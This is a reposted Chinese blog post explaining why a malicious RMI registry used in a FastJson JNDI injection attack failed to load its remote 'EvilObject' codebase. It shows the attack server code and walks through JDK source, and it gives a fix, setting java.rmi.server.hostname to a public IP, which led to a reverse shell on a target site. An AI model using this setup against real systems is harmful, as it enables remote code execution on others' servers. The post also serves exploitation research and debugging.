转载

RMI ReferenceWrapper_Stub With Hostname

去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。

最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。

失败原因

当时使用的启动rmi服务的java代码。

RMIService.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService{
    public static void main(String args[])throws Exception {
        
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);

    }
}

RMI在绑定refObjWrapper时, 绑定的其实是refObjWrapper_Stub

RMI ReferenceWrapper_Stub With Hostname

启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。

在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。

RMI ReferenceWrapper_Stub With Hostname

RMI ReferenceWrapper_Stub

在实例化ReferenceWrapper_Stub时,

String var7 = resampleLocalHost();
if (var6 == null) {
    var3 = new TCPEndpoint(var7, var0, var1, var2);
    var6 = new LinkedList();
    var6.add(var3);
    var3.listenPort = var0;
    var3.transport = new TCPTransport(var6);
    localEndpoints.put(var5, var6);
    if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
        TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0);
    }
} else {
    synchronized(var6) {
        var3 = (TCPEndpoint)var6.getLast();
        String var9 = var3.host;
        int var10 = var3.port;
        TCPTransport var11 = var3.transport;
        if (var7 != null && !var7.equals(var9)) {
            if (var10 != 0) {
                var6.clear();
            }

            var3 = new TCPEndpoint(var7, var10, var1, var2);
            var3.listenPort = var0;
            var3.transport = var11;
            var6.add(var3);
        }
    }
}

通过resampleLocalHost来获取 Reference 要引用到的ip

private static String resampleLocalHost(){
    String var0 = getHostnameProperty();
    Map var1 = localEndpoints;
    synchronized(localEndpoints) {
        if (var0 != null) {
            if (!localHostKnown) {
                setLocalHost(var0);
            } else if (!var0.equals(localHost)) {
                localHost = var0;
                if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
                    TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost);
                }
            }
        }

        return localHost;
    }
}

首先尝试使用getHostnameProperty来获取ip

private static String getHostnameProperty(){
    return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname"));
}

但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。

当从getHostnameProperty获取ip失败时, 直接返回localhost属性。

localhost属性在静态方法中被设置。

static {
    if (localHost == null) {
        try {
            InetAddress var0 = InetAddress.getLocalHost();
            byte[] var1 = var0.getAddress();
            if (var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {
                localHostKnown = false;
            }

            if (getBoolean("java.rmi.server.useLocalHostName")) {
                localHost = TCPEndpoint.FQDN.attemptFQDN(var0);
            } else {
                localHost = var0.getHostAddress();
            }
        } catch (Exception var2) {
            localHostKnown = false;
            localHost = null;
        }
    }

    if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
        TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost);
    }

    localEndpoints = new HashMap();
}

这里使用了InetAddress.getLocalHost()来获取ip

public static InetAddress getLocalHost()throws UnknownHostException {

    SecurityManager security = System.getSecurityManager();
    try {
        String local = impl.getLocalHostName(); 
        // 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。

        if (security != null) {
            security.checkConnect(local, -1);
        }

        if (local.equals("localhost")) {
            return impl.loopbackAddress();
        }

        InetAddress ret = null;
        synchronized (cacheLock) {
            long now = System.currentTimeMillis();
            if (cachedLocalHost != null) {
                if ((now - cacheTime) < maxCacheTime) // Less than 5s old?
                    ret = cachedLocalHost;
                else
                    cachedLocalHost = null;
            }

            // we are calling getAddressesFromNameService directly
            // to avoid getting localHost from cache
            if (ret == null) {
                InetAddress[] localAddrs;
                try {
                    localAddrs =
                        InetAddress.getAddressesFromNameService(local, null);
                        //使用该方法获取ip,如果hostname是域名,会把域名转换为对应ip
                        //如果hostname不合法, 返回各网卡的ip。
                } catch (UnknownHostException uhe) {
                    // Rethrow with a more informative error message.
                    UnknownHostException uhe2 =
                        new UnknownHostException(local + ": " +
                                                 uhe.getMessage());
                    uhe2.initCause(uhe);
                    throw uhe2;
                }
                cachedLocalHost = localAddrs[0]; // get en0
                cacheTime = now;
                ret = localAddrs[0];
            }
        }
        return ret;
    } catch (java.lang.SecurityException e) {
        return impl.loopbackAddress();
    }
}

RMI ReferenceWrapper_Stub With Hostname

由于ECS的hostname一般都长这个样子

RMI ReferenceWrapper_Stub With Hostname

所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是获取的en0的ip,

就成了一个内网ip, 导致访问引用失败。

这里只要把Reference引用到公网ip上 就能成功利用了。

所以以前可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,很麻烦。

从上面可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。

所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService{
    public static void main(String args[])throws Exception {
        System.setProperty("java.rmi.server.hostname", "你的公网ip");
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);

    }
}

再用nmap扫描, 就能够发现已经变为公网ip了。

RMI ReferenceWrapper_Stub With Hostname
原文  http://www.yulegeyu.com/2018/12/22/RMI-ReferenceWrapper-Stub-With-Hostname/
正文到此结束
Loading...